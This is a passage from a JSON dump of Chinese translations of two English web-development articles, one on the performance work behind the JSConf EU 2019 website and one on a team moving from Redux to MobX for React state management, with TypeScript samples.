    "content": "> * 原文地址：[How we built the fastest conference website in the world](https://2019.jsconf.eu/news/how-we-built-the-fastest-conference-website-in-the-world/)\n> * 原文作者：[Malte Ubl](https://twitter.com/cramforce) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-built-the-fastest-conference-website-in-the-world.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-built-the-fastest-conference-website-in-the-world.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[ezioyuan](https://github.com/ezioyuan), [Long Xiong](https://github.com/xionglong58)\n\n# 构建世界上最快的会议网站\n\n> 这是 JSConf EU 的组织者 [Malte Ubl](https://twitter.com/cramforce) 的客座文章。\n\n是不是被标题诱惑来啦，但我们绝对不会让你白来一趟的！我不确定这一定是世界上最快的会议网站，但我也不确定它不是；而且我花了一大笔多到不合理的时间试图让它成为世界上最快的会议网站。我也是网络组件库 [AMP](https://www.ampproject.org/) 的创建者，它可以用于搭建可靠的快速网站，同样，这些网站也是我尝试新技术进行优化的游乐场，然后我可以将它们应用到日常工作中。此外，快速网站有[更好的转换率](https://www.cloudflare.com/learning/performance/more/website-performance-conversion-rates/)，在我们的情况下这意味着：[卖出更多的门票](https://ti.to/jsconfeu/jsconf-eu-x-2019/)。\n\n[JSConf EU 网站](https://2019.jsconf.eu/)是搭建在静态网页生成器 [wintersmith](http://wintersmith.io/) 上的。如果你知道 [Jekyll](https://jekyllrb.com/) 是什么，那你一定也会知道什么是 wintersmith。基本上都差不多，它们都基于 Node.js。Wintersmith 还好，默认情况下它不会做什么可怕的事情，但是有一些我需要的东西必须自己构建。\n\n## 字体\n\n### 内联\n\nOMG，我花了好多时间来优化字体性能。你知道怎么拥有比 JSConf 网站更快的字体性能吗？那就去使用系统字体吧，但那样会有些无聊。我们使用了 Typekit 的字体，它的字体都很赞。Typekit 要求你加载一个 CSS 文件或者 JS 文件，用来告诉网站字体文件在哪里。这对性能来说太可怕了：加载文件意味着等待网络，而网络速度很慢。由于 DNS 解析，TCP 和 TLS 连接等原因，添加一个指向第三方主机的 CSS 文件到页面可以轻易地影响[首屏渲染](https://developers.google.com/web/tools/lighthouse/audits/first-contentful-paint)时间，可能会有大概 600 ms。我们修复了这个问题，方法是在[构建过程中下载 CSS 文件](https://github.com/jsconf/festival-x.jsconf.eu/blob/master/scripts/generate-locals.js#L5)，然后在 CSS 中内联它们。问题解决了，我们赢得了 600 ms。\n\n事实证明 Typekit CSS 文件实际上使用了 `@import` 来添加其他的 CSS 文件。我不确定这个会不会阻塞渲染，但这个肯定不好。原来该文件是空的，对它的请求仅仅用于统计信息的收集。为了避免这种情况，我在编写的脚本文件中移除了内联 CSS 中的 `@import`（[哈哈，正则](https://github.com/jsconf/festival-x.jsconf.eu/blob/master/scripts/generate-locals.js#L19)），然后在 JavaScript 中保存这个请求的链接，页面加载完毕（不会再影响首评渲染时间）之后，再去请求。\n\n### 字体显示\n\n好了，既然我们已经内联了 Typekit 的 CSS，我们也可以通过[更多的正则表达式](https://github.com/jsconf/festival-x.jsconf.eu/blob/master/scripts/generate-locals.js#L25)轻松地改变它。在 `@font-face` 规则中添加 [`font-display: fallback`](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display)，可以阻止字体绘制对下载的阻塞，基于上面的原因我们在脚本中添加了这样的代码。\n\n## 不可变的 URL\n\n我希望 wintersmith 能有一个真正的资源管道（asset pipeline）。它确实有资源处理程序，但每种资源只有一个。所以，在没有代码重复的情况下，你无法轻松地为 CSS 文件和 SVG 执行操作。但谁关心会议网站的代码重复？\n\n我[黑入了 wintersmith](https://github.com/jsconf/festival-x.jsconf.eu/blob/master/plugins/nunjucks.js#L130-L138)，将哈希值插入到所有本地可用的资源 URL 中，并为它们提供了一个在 CDN 中配置的公共路径前缀，用来有效地发出无限的缓存头。同样，[我们的 ServiceWorker 知道](https://github.com/jsconf/festival-x.jsconf.eu/blob/master/contents/sw.js#L23-L30)它永远不必担心这些 URL 过期并且可以永久保留资源。如果你复制我们的代码，请考虑缩短哈希值。对于我们这个用例，在现实世界中没有人需要这个完整的 SHA-XXX 串，而且还能在 HTML 中省下相当多的字节。我现在不打算改变它，因为这会破坏所有资源的缓存。\n\n## CSS\n\n### 死码消除\n\nJSConf EU 网站使用 [Tachyons](https://tachyons.io/) 作为 CSS 框架。Tachyons 很不错，除了它的体积很大，而且就算是最小的基础包中也具有所有的功能。我安装了一个 [CSS 死码消除（DCE）后处理步骤](https://github.com/purifycss/purifycss)，它可以查看所有静态网站生成器生成的实际标记，然后将从不匹配任何内容的 CSS 选择器都修剪掉。在我们的例子中，它将 CSS 体积减少了超酷的 85％。\n\n### 内联\n\n既然 CSS 的体积非常小，那么将它内联到每个页面中就说的过去了。你可能会想“但是缓存怎么办？”很好的问题，但是如果你想在这场关于最快网站的竞赛中获胜，你就无法负担得起冷缓存状态下额外的请求。所以我内联了 CSS，而且事实上我们可以在 CSS DCE 上做的更好。所以我再次在每个页面上运行它，对于每个页面又减少了额外的 15-25% 的 CSS 体积。\n\n顺便说一句：先在整个网站运行一次 CSS DCE，然后再在每一页上进行一次该处理是非常有意义的。这是因为对于整个网站来说 DCE 处理的时间复杂度是 `O（所有 HTML 大小 + CSS 大小）` ，对于单个页面是 `O（页面数量 *（平均 HTML 大小 + CSS 大小）`。如果你首先在整个网站上运行优化，CSS 体积的减少可以让接下来对于单个页面的优化明显更快 —— 至少如果你可以在首次处理时减少 85% 的体积，就像我们的例子中实现的那样。\n\n## 内容管理\n\n大多数静态网站生成器都希望通过将 markdown 文件放入 git 中来管理网站。JSConf EU 网站使用 Google Spreadsheet 来维护结构化数据（例如演讲者资料）和 Google Docs 来保存像这样的博客文章。虽然这不会让网站运行更快，但它确实使编辑速度更快，所以它仍然可以计入最快的会议网站。例如说[这个](https://docs.google.com/document/d/1oZWzjy0cPyBmdbghIREd9iVbUGXlUHd1Dnv7CmSQNPk/edit?usp=sharing)，就是你现在看到的这篇文章！\n\n作为 Google GSuite 后端（LOL）构建过程的一部分，我们应该进行图像优化。不幸的是，还没有足够的时间来制作 webp 图像，所以如果你想建立一个更快的会议网站，这肯定是个突破口！\n\n## ServiceWorker\n\nJSConf 网站有一个基于 [Workbox](https://developers.google.com/web/tools/workbox/) 的 ServiceWorker。ServiceWorker 并不总有益于性能。它们必须安装注册，然后通常还得额外的配置 IndexedDB。这可能花费 100 毫秒。然而，对于会议网站而言，离线功能在性能问题上肯定会胜过糟糕的会议 Wi-Fi（我们的会议 Wi-Fi 通常很出色，但会议室有 1400 人，我们希望做好准备）。通过使用 [导航预加载](https://developers.google.com/web/updates/2017/02/navigation-preload)来进一步缓解这个问题，在大部分浏览器中导航预加载可以分摊文档网络请求的启动时间。\n\n为了权衡新鲜程度以及离线功能，该网站使用了“网络优先”策略，我们会首先尝试获取新的文档，如果在 2 秒之内没有响应，我们会回退到缓存。\n\n因为网站的所有资源都使用了不可变的 URL，ServiceWorker 将永久缓存这些 URL 并始终从缓存（如果可用）提供服务。\n\n## 动画\n\n你可能已经注意到在我们的首页上有一个很大的动画 X。很显然，如果没有这个动画，页面的加载速度会更快，但是那样的话还有什么乐趣呢？这个动画是基于 [Lottie-Web](https://github.com/airbnb/lottie-web) 库制作的，这是一个由 AirBnB 创建的开源 Adobe AfterEffects 动画网络播放器，被公认为难以置信的赞。不幸的是，它也很庞大。这里的庞大指的是动画运行时间和动画数据本身，后者是一大堆 JSON。我们加载了 JSON 文件作为动画 JS 的一部分而不是使用 `JSON.parse`，如此我们便可以在主线程之外解析这些数据。\n\n## 脚本加载\n\nJSConf EU 网站实际上加载了一些 JavaScript —— 但它不会阻止页面绘制，我们内联了交互所需要的每一块代码。这样当浏览器绘制页面的时候，不管外部 JS 是否已经加载完毕，所有关键的交互都已经在起作用了。虽然这个不会让[内容安全策略（CSP）](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)满意，但是不要怂，及时行乐，哈哈哈。我们加载的 JS 文件也不会改变 DOM，即不会触发额外的绘制（当然，除了动画以外），所以无论浏览器首先绘制了什么内容，在发生用户交互之前它都不会发生改变。\n\n## 预加载\n\n除了乐一乐，我们希望大家在这个网站上做的主要事情之一就是[买票](https://ti.to/jsconfeu/jsconf-eu-x-2019)。这就是为什么我们在页面加载的早期就预先加载了票务支付提供商的登录页面的原因，以便当你决定买票（哈哈哈，我觉得应该买！）的时候，它就可以立刻加载。另外，我们预加载了从主导航链接到的所有页面，因此在网站内的导航速度非常快。不幸的是，并不是所有的浏览器中都有预加载的功能，但是社区最近真的用了很多时间使它可以和 Safari 的双键缓存基础设施兼容，所以我们有望在所有浏览器中使用它 —— 尽管不是在 JSConf EU 2019 中。\n\n## HTTP 级联\n\n这个网站绘制使用了一次 HTTP 往返，并且从不需要获取一个 HTTP 资源用来确认除了主文档之外还需要获取其他内容。这意味着 HTTP 级联的最大深度为 2 次请求。特别是在移动设备上，页面加载时间通常由延迟决定。在这些情况下，具有一个扁平的请求级联意味着网络延迟会带来较少的负面影响，或者让我们返回到时间复杂度 O 上：在延迟和可用或所需带宽关系很大的情况下，页面加载时间是 `O(延迟 * HTTP 级联深度 + 下载内容用时)`。能够始终使用 1 次 HTTP 往返绘制意味着在许多情况下页面的加载时间由 DNS 和 TLS 连接决定。这些在实验测试中经常看起来很糟糕。但有了 CDN 对 [TLS1.3](https://blog.cloudflare.com/rfc-8446-aka-tls-1-3/) 甚至 [Quic/HTTP3](https://en.wikipedia.org/wiki/QUIC) 的支持，真实情况下的性能看起来会好很多，特别是对于那些重复访客。\n\n[![2019.jsconf.eu 网址的请求数据流](https://2019.jsconf.eu/immutable/2ecf1ff4188e623f5f25400024c9eaebd9d77b30/images/cms/image-4656bb72.png#ar=105)](https://www.webpagetest.org/result/190318_AA_b2ed333c2d4c4b5cf441dc205162f23a/1/details/#waterfall_view_step1)一个非常扁平的 HTTP 级联（右下角是 ServiceWorker 在启动，它不会影响原始页面加载）。\n\n## 图像加载\n\nOMG，我讨厌加载图像时没有预先知道它们的大小，并且当它们通过网络传输时，它们会推迟页面的显示。在我们的网站上，所有的图像要么有一个静态的大小，要么使用 [`padding-top: XX%` hack](https://css-tricks.com/aspect-ratio-boxes/) 使图像扩展到所有可用的水平空间。其他人还使用了 [intrinsicsize 属性](https://github.com/WICG/intrinsicsize-attribute)（目前没有浏览器支持）（如此便可以不使用刚才的 hack） 和 [懒加载属性](https://css-tricks.com/a-native-lazy-load-for-the-web-platform/)(目前也没有浏览器支持)以及[`decoding=async`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decoding)（目前大部分浏览器支持）来避免图像解码阻塞主进程。\n\n> 什么是 CSS 中的宽高比？他们说是 padding-top 百分比。[Jan 18, 2018](https://twitter.com/cramforce/status/954005742234738688)\n\n（小小的讽刺警告：上面推文的图片拖慢了页面，但是我把它放在了页面的这个位置，你可能都不会注意到（如果你没有看到这里的话），实在是不好意思）。\n\n## 总结\n\n就是这样啦。在 2019 年制作快速网站并不是一件很难的事情。你只需要这浏览器制造商打好关系，付他们钱就让网站速度更快，在 Twitter 逛一整天你都可以获得关于性能的热门广告，或者你更愿意动手处理性能的小改动而不是看 Netflix。\n\n## 致谢\n\n谢谢 [Malte Ubl](https://twitter.com/cramforce) 撰写这篇文章。这个网站本身最初是由过于有才华的 [Lukasz Klis](https://twitter.com/lukaszklis) 开发，而令人称赞的设计则是由超酷的 [Silke Voigts](https://twitter.com/silkine) 为我们带来，谢谢他们。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-we-ditched-redux-for-mobx.md",
    "content": "> * 原文地址：[How We Ditched Redux for MobX](https://medium.com/skillshare-team/how-we-ditched-redux-for-mobx-a05442279a2b)\n> * 原文作者：[Luis Aguilar](https://medium.com/@ldiego08)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-ditched-redux-for-mobx.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-ditched-redux-for-mobx.md)\n> * 译者：[lihaobhsfer](https://github.com/lihaobhsfer)\n> * 校对者：[动力小车](https://github.com/Stevens1995)\n\n# 我们如何抛弃了 Redux 而选用 MobX\n\n在 Skillshare 我们拥抱改变；不仅因为把它写在公司的前景宣言中很酷，也因为改变确实有必要。这是我们近期将整个平台迁移至 React 并利用其所有优势这一决定背后的前提。执行这个任务的小组仅仅是我们工程师团队的一小部分。尽早做出正确的决定对于让团队其他成员尽可能快而顺畅地切换平台来说至关重要。\n\n顺畅的开发体验就是一切。\n\n**一切。**\n\n然后，在将 React 引入我们的代码库时，我们遇到了前端开发最有挑战的一部分：**状态管理**。\n\n唉…接下来就有意思了。\n\n## 设置\n\n一切都开始于简单的任务：**“将 Skillshare 的页头迁移至 React。”**\n\n“**小菜一碟**！”我们立下了 flag —— 这个页头只是访客视图，只包含几个链接和一个简单的搜索框。没有授权逻辑，没有 session 管理，没有什么特别神奇的东西。\n\n好的，来敲点代码吧：\n\n```TSX\ninterface HeaderProps {\n    searchBoxProps: SearchBoxProps;\n}\n\nclass Header extends Component<HeaderProps> {\n    render() {\n        return (\n            <div>\n                <SearchBox {...this.props.searchBoxProps} />\n            </div>\n        );\n    }\n}\n    \ninterface SearchBoxProps {\n    query?: string;\n    isLoading: string;\n    data: string[];\n    onSearch?: (query: string) => void;\n}\n\nclass SearchBox extends Component<SearchBoxProps> {\n    render() {\n        // 渲染组件…\n    }\n}\n```\n\n没错，我们用 TypeScript —— 它是最简洁、最直观、对所有开发者最友好的语言。怎能不爱它呢？我们还使用 [Storybook](https://storybook.js.org/) 来做 UI 开发，所以我们希望让组件越傻瓜越好，在越高层级将其拼接起来越好。由于我们用 [Next](https://nextjs.org/) 做服务端渲染，那个层级就是页面组件，它们最终就仅仅是广为人知的位于指定 `pages` 目录中的组件，并在运行时自动映射到 URL 请求中。所以，如果你有一个 `home.tsx` 文件，它就会被自动映射到 `/home` 路由 —— 和 `renderToString()` 说再见吧。\n\n好的，组件就讲到这里吧…但等一下！实现搜索框功能还需要制定一个状态管理策略，本地状态不会给我们带来什么长足发展。\n\n## 对抗：Redux\n\n在 React 中，提到状态管理时，Redux 就是黄金法则 —— 它在 Github 上有 4w+ Star（截至英文原文发布时。截至本译文发布时已有 5w+ Star。），完全支持 TypeScript，并且像 Instagram 这样的大公司也用它。\n\n下图描述了它的原理：\n\n![图片来自 [@abhayg772](http://twitter.com/abhayg772)](https://cdn-images-1.medium.com/max/2400/1*kDO26wU8yMn0Xq7crphztA.png)\n\n不像传统的 MVW 样式，Redux 管理一个覆盖整个应用的状态树。UI 触发 actions，actions 将数据传递给 reducer，reducer 更新状态树，并最终更新 UI。\n\n非常简单，对不？再来敲点代码！\n\n这里涉及到的实体是**标签。**因此，当用户在搜索框中输入时，搜索框搜索的是**标签**\n\n```TypeScript\n/* 这里有三个 action:\n *   - 标签搜索: 当用户进行输入时，触发新的搜索。\n *   - 标签搜索更新: 当搜索结果准备好，必须进行更新。\n *   - 标签搜索报错：发生了不好的事情。\n */\n\nenum TagActions {\n    Search = 'TAGS_SEARCH',\n    SearchUpdate = 'TAGS_SEARCH_UPDATE',\n    SearchError = 'TAGS_SEARCH_ERROR',\n}\n\ninterface TagsSearchAction extends Action {\n    type: TagActions.Search;\n    query: string;\n}\n\ninterface TagsSearchUpdateAction extends Action {\n    type: TagActions.SearchUpdate;\n    results: string[];\n}\n\ninterface TagsSearchErrorAction extends Action {\n    type: TagActions.Search;\n    err: any;\n}\n\ntype TagsSearchActions = TagsSearchAction | TagsSearchUpdateAction | TagsSearchErrorAction;\n```\n\n还挺简单的。现在我们需要一些帮助函数，基于输入参数来动态创建 actions：\n\n```TypeScript\nconst search: ActionCreator<TagsSearchAction> =\n    (query: string) => ({\n        type: TagActions.Search,\n        query,\n    });\n\nconst searchUpdate: ActionCreator<TagsSearchUpdateAction> =\n    (results: string[]) => ({\n        type: TagActions.SearchUpdate,\n        results,\n    });\n\nconst searchError: ActionCreator<TagsSearchErrorAction> =\n    (err: any) => ({\n        type: TagActions.SearchError,\n        err,\n    });\n\n```\n\n搞定！接下来是负责基于 action 更新 state 的 reducer：\n\n```TypeScript\ninterface State {\n    query: string;\n    isLoading: boolean;\n    results: string[];\n}\n\nconst initialState: State = {\n    query: '',\n    isLoading: false,\n    results: [],\n};\n\nconst tagSearchReducer: Reducer<State> =\n    (state: State = initialState, action: TagsSearchActions) => {\n        switch ((action as TagsSearchActions).type) {\n            case TagActions.Search:\n                return {\n                    ...state,\n                    isLoading: true,\n                    query: (action as TagsSearchAction).query,\n                };\n\n            case TagActions.SearchUpdate:\n                return {\n                    ...state,\n                    isLoading: false,\n                    results: (action as TagsSearchUpdateAction).tags,\n                };\n\n            case TagActions.SearchError:\n                return {\n                    ...state,\n                    isLoading: false,\n                    results: (action as TagsSearchErrorAction).err,\n                };\n\n            default:\n                return state;\n        }\n    };\n```\n\n这段代码还挺长的，但是我们正在取得进展！所有的拼接都在最顶层进行，即我们的**页面**组件。\n\n```TSX\ninterface HomePageProps {\n    headerProps?: HeaderProps;\n}\n\nclass HomePage extends Component<IndexPageProps> {\n    render() {\n        return (\n            <Header {...this.props.headerProps} />\n            <!-- the rest of the page .. -->\n        );\n    }\n}\n\nconst mapStateToProps = (state: State) => ({\n    headerProps: {\n        searchBoxProps: {\n            isLoading: state.isLoading,\n            results: state.results,\n            query: state.query,\n        }\n    }\n});\n    \nconst mapDispatchToProps = (dispatch: Dispatch) => ({\n    headerProps: {\n        searchBoxProps: {\n            onSearch: (query: string) => dispatch(TagActions.search(query)),\n        }\n    }\n});\n    \nconst connectedPage = connect(mapStateToProps, mapDispatchToProps)(HomePage);\n    \nconst reducers = combineReducers({\n    tagSearch: tagSearchReducer,\n});\n\nconst makeStore = (initialState: State) => {\n    return createStore(reducers, initialState);\n}\n\n// 所有都汇聚于此 —— 看吧：拼接完成的首页！\nexport default withRedux(makeStore)(connectedPage);\n```\n\n任务完成！掸掸手上的灰来瓶啤酒吧。我们已经有了 UI 组件，一个页面，所有的部分都完好地组接在一起。\n\nEmmm…等一下。\n\n这只是本地状态。\n\n我们仍需要从真正的 API 获取数据。Redux 要求 actions 为纯函数；他们必须立即可执行。什么不会立即执行？像从API获取数据这样的异步操作。因此，Redux 必须与其他库配合来实现此功能。有不少可选用的库，比如 [thunks](https://github.com/reduxjs/redux-thunk)、[effects](https://github.com/redux-effects/redux-effects)、[loops](https://github.com/redux-loop/redux-loop)、[sagas](https://github.com/redux-saga/redux-saga)，每一个都有些差别。这不仅仅意味着在原本就陡峭的学习曲线上又增加坡度，并且意味着更多的模板。\n\n![](https://cdn-images-1.medium.com/max/2000/1*x2FqXWuYcGN_Pso4MRfafg.jpeg)\n\n当我们在泥泞中艰难前行中，那个显而易见的问题不停地回响在我们的脑海中：**这么多行代码，就为了绑定一个搜索框**？我们确信，任何一个有勇气查看我们代码库的人都会问同样的问题。\n\n我们不能 Diss Redux；它是这个领域的先锋，也是一个优雅的概念。然而，我们发现它过于“低级”，需要你亲自定义一切。它一直由于有非常明确的思想，能避免你在强制一种风格的时候搬起石头砸自己的脚而受到好评，但这些所有都有代价，代价就是大量的模板代码和一个巨大的学习障碍。\n\n这我们就忍不了了。\n\n我们怎么忍心告诉我们的团队，他们假期要来加班，就因为这些模板代码？\n\n肯定有别的工具。\n\n更加**友好**的工具。\n\n[**你并不一定需要 Redux**](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367)\n\n## 解决方案：MobX\n\n起初，我们想过创建一些帮助函数和装饰器来解决代码重复。而这意味着需要维护更多代码。并且，当核心帮助函数出问题，或者需要新的功能，在修改它们时可能会迫使整个团队停止工作。三年前写的、整个应用都在用的帮助函数代码，你也不想再碰，对不？\n\n然后我们有了一个大胆的想法…\n\n**“如果我们根本不用 Redux 呢？”**\n\n**“还有啥别的可以用？”**\n\n点了一下“**我今天感觉很幸运**”按钮，我们的到了答案：[**MobX**](https://mobx.js.org/)\n\nMobX 保证了一件事：保证你做你的工作。它将响应式编程的原则应用于 React 组件 —— 没错，讽刺的是，React 并不是开箱即具备响应式特点的。不像 Redux，你可以有很多个 store（比如 `TagsStore`、`UsersStore` 等等），或者一个总的 store，将它们绑定于组件的 props 上。它帮助你管理状态，但是如何构建它，决定权在你手里。\n\n![图片来自 [Hanno.co](https://hanno.co/blog/mobx-redux-alternative/)](https://cdn-images-1.medium.com/max/3200/1*QZ8X8IZfm7IPkZj0iyRC7w.png)\n\n所以我们现在整合了 React，完整的 TypeScript 支持，还有极简的模板。\n\n还是让代码为自己代言吧。\n\n我们首先定义 store：\n\n```TypeScript\nimport { observable, action, extendObservable } from 'mobx';\n\nexport class TagsStore {\n    private static defaultState: any = {\n        query: '',\n        isLoading: false,\n        results: [],\n    };\n\n    @observable public results: string[];\n\n    @observable public isLoading: boolean;\n\n    @observable public query: string;\n\n    constructor(initialState: any) {\n        extendObservable(this, {...defaultState, ...initialState});\n    }\n\n    @action public loadTags = (query: string) => {\n        this.query = query;\n\n        // 一些业务代码…\n    }\n}\n\nexport interface StoreMap {\n    tags: TagsStore,\n}\n```\n\n然后拼接一下页面：\n\n```TSX\nimport React, { Component } from 'react';\nimport { inject, Provider } from 'mobx-react';\n\nimport { Header, HeaderProps } from './header';\n\n\nexport interface HomePageProps {\n    headerProps?: HeaderProps;\n}\n\nexport class HomePage extends Component<IndexPageProps> {\n    render() {\n        return (\n            <Header {...this.props.headerProps} />\n            <!-- the rest of the page .. -->\n        );\n    }\n}\n\nexport interface StoreMap {\n    tags: TagsStore;\n}\n    \nexport const ConnectedHomePage = inject(({ tags }: StoreMap) => ({\n    headerProps: {\n        searchBoxProps: {\n            query: tags.query,\n            isLoading: tags.isLoading,\n            data: tags.data,\n            onSearch: tags.loadTags,\n        }\n    }\n}));\n\nexport const tagsStore = new TagsStore();\n        \nexport default () => {\n    return (\n        <Provider tags={tagsStore}>\n            <ConnectedHomePage>\n        </Provider>\n    );\n}\n```\n\n就这样搞定了！我们已经实现了所有在 Redux 例子中有的功能，不过我们这次只用了几分钟。\n\n代码相当清晰了，不过为了说明白，`inject` 帮助函数来自于 MobX React；它与 Redux 的 `connect` 帮助函数对标，只不过它的 `mapStateToProps` 和 `mapDispatchToProps` 在一个函数当中。 `Provider` 组件也来自于 MobX，可以在里面放任意多个 store，它们都会被传递至 `inject` 帮助函数中。并且，快看看那些迷人的，**迷人的**装饰器 —— 就这样配置 store 就对了。所有用 `@observable` 装饰的实体都会通知被绑定的组件在发生改变后重新渲染。\n\n这才叫“**直观**”。\n\n还需多说什么？\n\n然后，关于访问 API，是否还记得 Redux 不能直接处理异步操作？是否还记得你为了实现异步操作不得不使用 `thunks`（它们非常不好测试）或者 `sagas`（非常不易理解）？那么，有了 MobX，你可以用普普通通的类，在构造函数里注入你选择的 API 访问库，然后在 action 里执行。还想念 sagas 和 generator 函数吗？\n\n请看吧，这就是 `flow` 帮助函数！\n\n```TypeScript\nimport { action, flow } from 'mobx';\n\nexport class TagsStore {\n\n    // ..\n\n    @action public loadTags = flow(function * (query: string) {\n        this.query = query;\n        this.isLoading = true;\n\n        try {\n            const tags = yield fetch('http://somewhere.com/api/tags');\n            this.tags = tags;\n        } catch (err) {\n            this.err = err;\n        }\n\n        this.isLoading = false;\n    })\n}   \n```\n\n这个 `flow` 帮助函数用 generator 函数来产出步骤 —— 响应数据，记录调用，报错等等。它是可以渐进执行或在需要时暂停的一系列步骤。\n\n**一个流程!** 懂了不？\n\n那些需要解释为什么**sagas**要这叫这名字的时光结束了。感谢上苍，就连 generator 函数都显得不那么可怕了。\n\n[**Javascript (ES6) Generators — 第一部分: 了解 Generators**](https://medium.com/@hidace/javascript-es6-generators-part-i-understanding-generators-93dea22bf1b)\n\n## 结果\n\n虽然到目前为止一切都显得那么美好，但不知为何还是有一种令人不安的感觉 —— 总感觉逆流而上总会遭到命运的报复。或许我们仍旧需要那一堆模板代码来强制一些标准。或许我们仍旧需要一个有明确思想的框架。或许我们仍旧需要一个清晰定义的状态树。\n\n如果我们想要的是一个看上去像 Redux 但是和 MobX 一样方便的工具呢？\n\n如果是这样，来看看 **[MobX State Tree](https://github.com/mobxjs/mobx-state-tree)** 吧。\n\n通过 MST，我们通过一个专门的 API 来定义状态树，并且是不可修改的，允许你回滚，序列化或者再组合，以及所有你希望一个有明确思想的状态管理库所拥有的东西。\n\n多说无用，来看代码！\n\n```TypeScript\nimport { flow } from 'mobx';\nimport { types } from 'mobx-state-tree';\n\nexport const TagsStoreModel = types\n    .model('TagsStore', {\n        results: types.array(types.string),\n        isLoading: types.boolean,\n        query: types.string,\n    })\n    .actions((self) => ({\n        loadTags: flow(function * (query: string) {\n            self.query = query;\n            self.isLoading = true;\n\n            try {\n                const tags = yield fetch('http://somewhere.com/api/tags');\n                self.tags = tags;\n            } catch (err) {\n                self.err = err;\n            }\n\n            self.isLoading = false;\n        }\n    }));\n\nexport const StoreModel = types\n    .model('Store', {\n        tags: TagsStoreModel,\n    });\n\nexport type Store = typeof StoreModel.Type;\n```\n\n与其让你在状态管理上为所欲为，MST 通过要求你用它的规定的方式定义状态树。有人可能回想，这就是有了链式函数而不是类的 MobX，但是还有更多。这个状态树无法被修改，并且每一次修改都会创建一个新的“**快照**”，从而允许了回滚，序列化，再组合，以及所有你想念的功能。\n\n再来看遗留下来的问题，唯一的低分项是，这对 MobX 来讲仅仅是一个部分可用的方法，这意味着它抛弃了类和装饰器，意味着 [TypeScript 支持只能是尽力而为了。](https://github.com/mobxjs/mobx-state-tree#typescript--mst)\n\n但即便如此，它还是很棒！\n\n好的我们继续来构造整个页面。\n\n```TSX\nimport { Header, HeaderProps } from './header';\nimport { Provider, inject } from 'mobx-react';\n\nexport interface HomePageProps {\n    headerProps?: HeaderProps;\n}\n\nexport class HomePage extends Component<IndexPageProps> {\n    render() {\n        return (\n            <Header {...this.props.headerProps} />\n            <!-- the rest of the page .. -->\n        );\n    }\n}\n\nexport const ConnectedHomePage = inject(({ tags }: Store) => ({\n    headerProps: {\n        searchBoxProps: {\n            query: tags.query,\n            isLoading: tags.isLoading,\n            data: tags.data,\n            onSearch: tags.loadTags,\n        }\n    }\n}));\n\nexport const tagsStore = new TagsStore();\n        \nexport default () => {\n    return (\n        <Provider tags={tagsStore}>\n            <ConnectedHomePage>\n        </Provider>\n    );\n}\n```\n\n看到了吧？连接组件还是通过同样的方式，所以花在从 MobX 迁移到 MST 的精力远小于编写 Redux 模板代码。\n\n那为啥我们没一步到底选 MST 呢？\n\n其实，MST 对于我们的具体例子来说有点杀鸡用牛刀了。我们考虑使用它是因为回滚操作是一个**非常**不错的附加功能，但是当我们发现有 [**Delorean**](https://github.com/BrascoJS/delorean) 这么个东西的时候就觉得没必要再费力气迁移了。以后我们可能会遇到 MobX 对付不了的情况，但是因为 MobX 很谦逊随和，即便返回去重新用上 Redux 也变得不再令人头大。\n\n总之，MobX，我们爱你。\n\n愿你一直优秀下去。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-we-made-carousells-mobile-web-experience-3x-faster.md",
